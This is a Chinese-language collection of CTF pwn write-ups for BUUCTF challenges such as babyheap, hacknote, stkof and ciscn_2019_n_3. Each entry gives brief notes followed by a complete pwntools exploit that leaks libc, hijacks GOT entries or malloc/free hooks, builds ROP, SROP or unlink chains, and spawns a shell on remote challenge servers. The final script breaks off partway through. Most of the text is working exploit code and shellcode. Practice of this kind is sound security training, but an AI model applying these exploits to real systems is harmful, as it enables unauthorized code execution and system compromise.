ciscn_2019_n_3
思路:
菜单堆题
libc版本为2.27.存在uaf漏洞,虽然这里没有edit函数,但是我们可以通过double free来实现同样的功能
并且got表可改,而且程序存在system表象,那么我们只需要把atoi的got表改为system,然后在询问我们选项的时候即可getshell。
因为在add时还会申请一个伴随堆块
所以我们需要多次申请再free来消除这个对uaf和double free的影响
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",27434)
elf=ELF("./pwn")
libc=ELF("/home/giant/Desktop/buuctf3/libc_18_32.so")
def debug():
gdb.attach(p)
pause()
def add(idx,Type,size,content):
p.sendlineafter(b'CNote > ',b'1')
p.sendlineafter(b'Index > ',str(idx))
p.sendlineafter(b'Type > ',str(Type))
p.sendlineafter(b'Length > ',str(size))
p.sendlineafter(b'Value > ',content)
def free(idx):
p.sendlineafter(b'CNote > ',b'2')
p.sendlineafter(b'Index > ',str(idx))
def show(idx):
p.sendlineafter(b'CNote > ',b'3')
p.sendlineafter(b'Index > ',str(idx))
add(0,2,0x48,b'1'*4)
add(1,2,0x48,b'1'*6)
add(6,2,0x4,b'a'*1)
add(7,2,0x4,b'a'*1)
add(8,2,0x4,b'a'*1)
add(9,2,0x6,b'a'*1)
free(7)
free(8)
free(6)
free(0)
free(1)
free(0)
add(3,2,0x48,p32(0x804b038))
add(2,2,0x48,b'1'*4)
free(9)
add(4,2,0x48,b'1'*6)
add(10,2,0x48,p32(elf.sym["system"]))
#debug()
p.sendlineafter(b'CNote > ',b'sh\x00')
p.interactive()
babyfengshui_33c3_2016
思路:
一道菜单堆题
edit函数存在堆溢出
不过在这里我犯了个低级错误,没有搞清楚&符号的原理,导致卡了几个小时,不过现在已经弄懂了,很明显可以看到这里对我们输入的字长大小做了个判断。那么先来看看这个判断到底是在判断什么。这里的&ptr就是把ptr所在的内存地址取出来,也就是0x0804B080,那么再对齐进行*操作的话,那么也就是它堆块的地址,所以这个操作实际是在比较两个指针的大小,那么这两个指针又是从哪里来的,当然是从add函数来的。所以这个判断只有在0x80大小的伴随堆块和我们自定义大小的堆块相邻时才能发挥作用。
那么为了绕过它我们可以先申请一个0x80大小的堆块,再将其free掉,那么 它就会合并成0x111大小的堆块,此时我们在申请一个0x100大小的堆块,此时的0x80的伴随堆块就会从topchunk分割,那么我们就可以随便的改他们中间的那几个堆块了
然后就改泄露libc_base,再改got表就可以了
Exp:
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#--------------------------------------------------------------------------------------
#p = process('./pwn')
p = remote("node5.buuoj.cn",28983)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
def add(size, name, text):
p.sendlineafter(b'Action: ', '0')
p.sendlineafter(b'size of description: ', str(size))
p.sendlineafter(b'name: ', name)
p.sendlineafter(b'text length: ', str(len(text)))
p.sendafter(b'text: ', text)
def free(index):
p.sendlineafter(b'Action: ', '1')
p.sendlineafter(b'index: ', str(index))
def dump(index):
p.sendlineafter(b'Action: ', '2')
p.sendlineafter(b'index: ', str(index))
def edit(index, lens, text):
p.sendlineafter(b'Action: ', '3')
p.sendlineafter(b'index: ', str(index))
p.sendlineafter(b'text length: ', str(lens))
p.sendafter(b'text: ', text)
def exit():
p.sendlineafter(b'Action: ', '4')
add(0x80, b'a', b'a')
add(0x80, b'b', b'b')#1
add(0x10, b'/bin/sh\x00', b'/bin/sh\x00')#2
free(0)
add(0x100, b'd', b'd')#3
edit(3,0x19c,b'a'*0x194+b'stop'+p32(elf.got["free"]))
dump(1)
#
p.recvuntil(b'description: ')
libc_base=u32(p.recv(4))-libc.sym["free"]
print(hex(libc_base))
system=libc_base+libc.sym["system"]
free_hook=libc.sym["__free_hook"]+libc_base
edit(1,0x4,p32(system))
#edit(3,0x19c,b'a'*0x194+b'stop'+p32(0x804b084))
free(2)
p.interactive()
0ctf_2017_babyheap
思路:
菜单堆题
其中edit函数存在堆溢出漏洞,我们可以自己定义我们向所指堆块写入的字节数
但是这题没有uaf漏洞,所以我们可以通过堆块堆叠来泄漏libc_base。
我们可以先申请一个0x18大小的堆块,再申请两个0x88大小的堆块,这样我们就可以通过edit堆块0来把chunk2的size改为0x121,然后把它free掉。
再申请一个0x118大小的堆块这样我们就获得了一个堆块堆叠的chunk,然后我们再把idx2的堆块free掉,由于我们在free1的时候会把idx2的size都清空,所以我们在free2的时候需要把它的size位补上。
#leak libc_base
add(0x18)
add(0x88)
add(0x88)
add(0x88)
edit(0,b'a'*0x18+p64(0x121))
free(1)
add(0x118)
edit(1,b'a'*0x88+p64(0x91))
free(2)
dump(1)
接下来就是简单的malloc_hook攻击了,堆溢出改fd就行了,这个地方没什么好说的,还有一点需要注意的是,我们如果用的是本地的libc然后通过泄露出来的main_arena直接计算出libc_base可能和远程的有一些出路而导致打不通。
Exp:
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#--------------------------------------------------------------------------------------
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",27167)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def add(size):
p.sendlineafter("Command:", '1')
p.sendlineafter("Size:", str(size))
def edit(index, content):
p.sendlineafter("Command:", '2')
p.sendlineafter("Index:", str(index))
p.sendlineafter("Size:", str(len(content)))
p.sendafter("Content:", content)
def free(index):
p.sendlineafter("Command:", '3')
p.sendlineafter("Index:", str(index))
def dump(index):
p.sendlineafter("Command:", '4')
p.sendlineafter("Index:", str(index))
add(0x18)
add(0x88)
add(0x88)
add(0x88)
edit(0,b'a'*0x18+p64(0x121))
free(1)
add(0x118)
edit(1,b'a'*0x88+p64(0x91))
free(2)
dump(1)
print(p.recvuntil(b'Content: \n'))
p.recv(0x90)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))- 0x3c4b78
malloc_hook=libc_base+libc.sym["__malloc_hook"]
ogg=libc_base+ 0x4526a
add(0x88)
add(0x68)
add(0x68)
free(5)
edit(4,b'a'*0x68+p64(0x71)+p64(malloc_hook-0x23))
print(hex(libc_base))
add(0x68)
add(0x68)
edit(6,b'a'*0x13+p64(ogg))
#add(0x10)
p.interactive()
#debug()
hitcon2014_stkof
思路:
都2024年了啊,看来是吃不上安全这口饭了。
这是一道没有菜单的堆题,不过根据对应的代码我们也可以看出是什么功能。
虽然这道题目没有菜单,但是也只是一道普通的堆溢出而已,ctf基础扎实的群友根本不用怕
堆溢出在这个地方
这里我们可以自己定义输入的大小,然后malloc的size又没有限制。
只不过在free的时候指针被清空了,那么我们就只能利用堆块重叠来泄露libc_base的话show函数有没有
那么我们该如何泄露呢?
这里由于程序没有开启pie
那么可以现在可以更改free chunk的fd指针,不过由于是libc2.23,,所以fastbin在分配时会有检查机制,所以我们需要找到一块size符合的地方来实现任意地址写。刚好0x6020cd这个地方有size域可以绕过fastbin的检查,而且这个地方还靠近tr,所以这样就可以达到任意地址改的效果
随后我们可以把free_got->puts然后再把ptr改成put_got,然后再free即可泄露libc_base,之后再改got表为system即可getshell
Exp:
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#--------------------------------------------------------------------------------------
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./stkof')
p = remote("node5.buuoj.cn",27424)
elf = ELF('./stkof')
libc = ELF('libc-2.23.so')
def add(size):
p.sendline('1')
p.sendline(str(size))
p.recv()
def free(index):
p.sendline('3')
p.sendline(str(index))
def dump(index):
p.sendline('4')
p.sendline(str(index))
p.recv()
def edit(index, content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(len(content)))
p.send(content)
p.recv()
add(0x68) #1
add(0x68) #2
add(0x68) #3
free(3)
edit(2,b'a'*0x68+p64(0x71)+p64(0x6020cd))
add(0x68) #4
add(0x68)#5
edit(5,b'a'*0x68+b'\x00'*3+p64(elf.got["free"])*1+p64(elf.got["puts"]))
edit(1,p64(elf.sym["puts"]))
free(2)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["puts"]
system=libc.sym["system"]+libc_base
edit(5,b'a'*0x68+b'\x00'*3+p64(elf.got["atoi"])*1+p64(elf.got["puts"]))
edit(1,p64(system))
print(hex(libc_base))
p.sendline('/bin/sh\x00')
#debug()
p.interactive()
mrctf2020_shellcode_revenge
思路:
反汇编不了怎么办?
1.寻找新版本的ida?
但是这样耗时又耗力,不如直接上汇编
当然你还可以直接把对应的地方nop掉,不过你还是得先知道你nop掉的代码是什么功能
nop掉之后就可以反汇编了
不过这段代码肯定是有残缺的,我们自己知道就行了。很显然这里会对shellcode进行检查,只有通过了,才可以执行shellcode
if里面的都要满足也就是buf要小于47且还要大于122才可
但是我们的shellcode一般是这样的
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
最后实在是云里雾里,看了一眼wp,大概明白了许多了,但还是一头雾水。
这里需要输入纯字符shellcode,这就是无非就是另外一种形式下编码的shellcode而已。
但是问题是,什么是纯字符,我们是怎么根据这个条件判断来要求输入纯字符的。别问我我也不知道,我甚至连工具都没找到,不过还是贴一个exp吧
Exp:
from pwn import *
p=process("./pwn")
#gdb.attach(p)
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
p.send(shellcode_64)
p.interactive()
jarvisoj_level5
思路:
经典的ret2libc,没有思路,全是套路
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28666)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
ret = 0x400499
rdi = 0x4006b3
rsi_r15 = 0x4006b1
payload = b'a'*0x88 + p64(rdi) + p64(1) + p64(rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + p64(elf.sym['main'])
p.sendlineafter(b'Input:\n', payload)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = write_addr - libc.sym['write']
print('libcbase => ', hex(libcbase))
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x88 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'Input:\n', payload)
p.interactive()
pwnable_hacknote
思路:
又是一道菜单堆题,就是不知道经典不经典。
经典的uaf,虽然没有edit函数不过这也足够了,而且堆块的申请大小也不受限制,那么我们可以先free掉一个大于0x80大小的堆块,再申请回来,即可泄露libc_base。
这里我本来是想通过打malloc_hoo来getshell的,但是由于在malloc的时候总是会先malloc一个小堆块,来存放一些信息
而且申请的堆块数量也有限,于是我把目光放在了show函数上面
可以看到show函数是根据我们那个0x8大小的伴随堆块来实现puts功能的,那么我们只需要把这个堆块里对应的值改掉改为system,然后参数改为sh;即可getshell
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
#p = process('./pwn')
p = remote("node5.buuoj.cn",29683)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice :', b'1')
p.sendlineafter(b'Note size :', str(size))
p.sendafter(b'Content :', content)
def free(index):
p.sendlineafter(b'Your choice :', b'2')
p.sendlineafter(b'Index :', str(index))
def show(index):
p.sendlineafter(b'Your choice :', b'3')
p.sendlineafter(b'Index :', str(index))
add(0x28,b'a'*1)#0
add(0x88,b'a'*1)#1
add(0x28,b'a'*1)#2
free(1)
add(0x88,b'a'*1)#3
show(1)
#print(p.recv())
libc_base=u32(p.recv(4))+7-libc.sym["__malloc_hook"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
free(2)
free(0)
free(2)
add(0x8,p32(system)+b';sh;')
#debug()
show(0)
p.interactive()
ciscn_2019_es_7
思路:
SROP没什么好说的
Exp:
from pwn import *
#p=process("./ciscn_2019_es_7")
p=remote("node5.buuoj.cn",27742)
#gdb.attach(p)
context(arch='amd64',os='linux',log_level='debug')
syscall=0x400517
mov_rax=0x4004DA
ret=0x00000000004003a9
vuln_addr=0x4004ED
payload1=b'/bin/sh\x00'*0x2+p64(vuln_addr)
p.sendline(payload1)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
#print(hex(stack))
#print(hex(binsh))
p.recv()
sigframe=SigreturnFrame()
sigframe.rax=0x3b
sigframe.rdx=0
sigframe.rdi=binsh
sigframe.rsi=0
sigframe.rip=syscall
sigframe.r11=0
sleep(1)
payload2=(b'/bin/sh\x00'*2+p64(mov_rax)+p64(syscall)+flat(sigframe))
p.send(payload2)
p.interactive()
#pause()
mrctf2020_easy_equation
思路:
没必要通过解出这个方程再通过格式化字符串来改值,直接栈溢出改返回地址为system即可
Exp:
from pwn import *
p=remote("node5.buuoj.cn",29836)
#p=process("./mrctf2020_easy_equation")
payload=b'a'*0x9+p64(0x4006D0)
p.sendline(payload)
p.interactive()
cmcc_pwnme2
思路:
别管哪些乱七八糟的,都不如libc来的直接
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 24736)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
payload = b'a'*0x70 + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
puts_addr = u32(p.recv(4))
print('puts_addr => ', hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x70 + p32(system) + p32(elf.sym['main']) + p32(binsh)
p.recv()
p.sendline(payload)
p.interactive()
picoctf_2018_got_shell
思路:
很明显的任意地址读写
而且还有后门函数
Exp:
from pwn import *
p=process("./pwn1")
elf=ELF("./pwn1")
p.recv()
gdb.attach(p)
p.sendline(b'0x804a014')
print(p.recv())
p.sendline(b'0x08048551')
pause()
p.interactive()
wdb_2018_2nd_easyfmt
思路:
很经典的一道栈上的格式化字符串漏洞题,直接对着返回地址写one_dagdet即可
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28771)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
p.recv()
p.send(p32(elf.got['printf']) + b'%6$s')
print('printf@got => ', hex(elf.got['printf']))
p.recv(4)
printf_addr = u32(p.recv(4))
print('printf_addr => ', hex(printf_addr))
libcbase = printf_addr - libc.sym['printf']
system = libcbase + libc.sym['system']
print('system => ', hex(system))
payload = fmtstr_payload(6, {elf.got['printf']:system}, write_size = 'byte')
print('printf@got => ', hex(elf.got['printf']))
p.send(payload)
p.recv()
p.sendline(b'/bin/sh\x00')
p.interactive()
roarctf_2019_easy_pwn
思路:
菜单堆题,没有uaf漏洞,但是存在堆溢出漏洞。
编辑堆块的大小我们可以自己输入,那么我们可以通过这个来造成堆块重叠从而泄露libc_base再通过打__malloc_hook来getshell。
但是比较悲催的是这里的one_gadget都不能用,那么我们这个时候就可以如果realloc来改变一下栈布局,从而来实现one_gadget的。那么这个的原理是什么呢?
我们都知道我们这种libc2.23的攻击是通过在malloc的时候使malloc_hook不为空,从而执行我们的函数。在执行hook之前会进行一系列这样的操作
从而改变栈布局,那么我们为什么要劫持realloc呢?很简单,由于realloc也有hook函数,而且就紧靠着malloc_hook函数,因此我们可以劫持程序到realloc,利用realloc函数为踏板执行realloc_hook。如果还不对我们可以对realloc进行适当加减,一般是+6
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote("node5.buuoj.cn",26146)
elf = ELF('./pwn')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def add(size):
p.sendlineafter(b'choice: ', '1')
p.sendlineafter(b'size: ', str(size))
def edit(index, size, content):
p.sendlineafter(b'choice: ', '2')
p.sendlineafter(b'index: ', str(index))
p.sendlineafter(b'size: ', str(size))
p.sendafter('content: ', content)
def free(index):
p.sendlineafter(b'choice: ', '3')
p.sendlineafter(b'index: ', str(index))
def dump(index):
p.sendlineafter(b'choice: ', '4')
p.sendlineafter(b'index: ', str(index))
add(0x18)#0
add(0x10)#1
add(0x80)#2
add(0x10)#3
#unsorted bin attack
edit(0, 0x22, p64(0)*3 + p8(0xb1))
free(1)
add(0xa0)#4->1
edit(1, 0x20, p64(0)*3 + p64(0x91))
free(2)
#edit(1, 0x20, p64(0)*3 + p64(0x71))
dump(1)
r(41)
main_arena_88 = u64(p.recv(6).ljust(8, b'\x00'))
print('main_arena_88 => ', hex(main_arena_88))
libc_base = main_arena_88 - 0x68 - libc.sym['__malloc_hook']
print('libc_base => ', hex(libc_base))
add(0x60)#3->2
free(2)
malloc_hook=libc_base+libc.sym['__malloc_hook']-0x23
edit(1, 0x28, p64(0)*3 + p64(0x71)+p64(malloc_hook))
add(0x60)#
add(0x60)
#debug()
realloc_hook = libc_base + libc.sym['realloc']
ogg=libc_base+0x4525a
edit(4, 0x1b, b'\x00'*0xb + p64(ogg) + p64(realloc_hook+2))
debug('b *$rebase(0x1253)')
lg('ogg',ogg)
add(0x10)
pause()
p.interactive()
picoctf_2018_can_you_gets_me
思路:
没什么好说的秒了
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28956)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc_18_32.so')
def get_payload():
p = b'a'*0x1c
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
return p
payload = get_payload()
p.recv()
p.sendline(payload)
p.interactive()
npuctf_2020_easyheap
思路:
菜单堆题
edit函数存在offbyone漏洞,而且是libc2.27的版本,那么直接打堆块重叠即可,可以通过堆块重叠去修改那个伴随堆块的相关信息,从而实现泄露libc_base和改got表为system来getshell
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
#p = process('./pwn')
p = remote("node5.buuoj.cn",26245)
elf = ELF('./pwn')
libc = ELF('libc-2.27_18_64.so')
def add(size, content):
p.sendlineafter(b'Your choice :', '1')
p.sendlineafter(b'Size of Heap(0x10 or 0x20 only) : ', str(size))
p.sendafter(b'Content:', content)
def edit(index, content):
p.sendlineafter(b'Your choice :', '2')
p.sendlineafter(b'Index :', str(index))
p.sendafter(b'Content:', content)
def show(index):
p.sendlineafter(b'Your choice :', '3')
p.sendlineafter(b'Index :', str(index))
def free(index):
p.sendlineafter(b'Your choice :', '4')
p.sendlineafter(b'Index :', str(index))
add(0x18,b'a'*8)#idx->0
add(0x18,b'a'*8)#idx->1
add(0x18,b'a'*8)#idx->2
edit(0,b'a'*0x18+p8(0x41))
free(1)
add(0x38,p64(0)*3+p64(0x21)+p64(0x38)+p64(elf.got["atoi"]))#idx->4->1
show(1)
p.recvuntil(b'Content : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["atoi"]
system=libc_base+libc.sym["system"]
one_gadget=0x10a38c+libc_base
print(hex(libc_base))
#gdb.attach(p)
edit(1,p64(system))
#debug()
p.recv()
p.sendlineafter(b'Your choice :', b'sh\x00')
p.interactive()
hitcontraining_bamboobox
思路:
同样是一道菜单堆题,然后貌似有后门函数?
不过我一向秉持的原则就是能拿shell,那就先拿shell,如果实在不行再看看这个函数
可以看到虽然有edit函数,并且可以堆溢出,但是这里在输入完之后会在最后面自动添加0,add函数也是,这就导致了我们就算能通过堆块堆叠来造成uaf也不能泄露libc_base,那么这里可以用到一种新的技巧,就是unlink,不知道的可以去我的暑假第一周周报里面了解。
通过unlink,我们可以改变itemlist里面的值的内容,从而来改变show的位置,然后再泄露libc_base,然后由于这道题的got表还是可写的,那么随便打了
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",27029)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice:', '2')
p.sendlineafter(b'Please enter the length of item name:', str(size))
p.sendafter(b'Please enter the name of item:', content)
def show():
p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
p.sendlineafter(b'Your choice:', '3')
p.sendlineafter(b'Please enter the index of item:', str(index))
p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
p.sendlineafter(b'Your choice:', '4')
p.sendlineafter(b'Please enter the index of item:', str(index))
def get_shell():
p.sendlineafter(b'Your choice:', '/bin/sh\x00')
heap=0x6020c8
add(0x81,b'a'*8)
add(0x81,b'a'*2)
add(0x18,b'b'*2)
edit(0,p64(0)+p64(0x81)+p64(heap-0x18)+p64(heap-0x10)+b'\x00'*0x60+p64(0x80)+p64(0x90))
#debug()
free(1)
add(0x81,b'a'*2)
edit(0,p64(0)*2+p64(0x81)+p64(0x602018)+p64(0x81)+p64(0x6020c0))
show()
p.recvuntil(b'0 : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["free"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
edit(1,p64(0x81)+p64(elf.got["atoi"]))
edit(0,p64(system))
get_shell()
p.interactive()
suctf_2018_basic pwn
思路:
ret2text没什么好说的,我本地貌似有点问题,不过远程还是可以通的
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",28019)
elf = ELF('./pwn')
payload = b'a'*0x118 + p64(0x401157)
p.sendline(payload)
print(p.recv())
x_ctf_b0verfl0w
思路:
什么保护都没开,并且栈上有可执行权限,那么我们可以利用程序中的
这段代码的gadget去往栈上写shellcode,并控制栈然后执行shellcode
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",26921)
elf=ELF("./pwn")
#gdb.attach(p)
shellcode_x86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += b"\x0b\xcd\x80"
p.sendline(p32(0x08048504)*2+shellcode_x86.ljust(0x1c,b'\x90')+p32(0x08048500)+p32(0x08048504))
p.interactive()
pause()
actf_2019_babystack
思路:
经典栈迁移,这里栈地址给出来了,但是两次栈的地址可能会不一样,这里需要注意一下。
然后就是写0ne_gad_get了
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote('node4.buuoj.cn', 28797)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')
leave = 0x400A18
ret = 0x400709
rdi = 0x400ad3
# first attack
p.sendlineafter(b'How many bytes of your message?\n', b'224')
p.recvuntil(b'Your message will be saved at ')
buff = int(p.recv(14), 16)
print('buff => ', hex(buff))
payload = p64(0) + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x4008F6)
payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave)
p.sendafter(b'>', payload)
p.recvline()
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts => ', hex(puts))
libcbase = puts - libc.sym['puts']
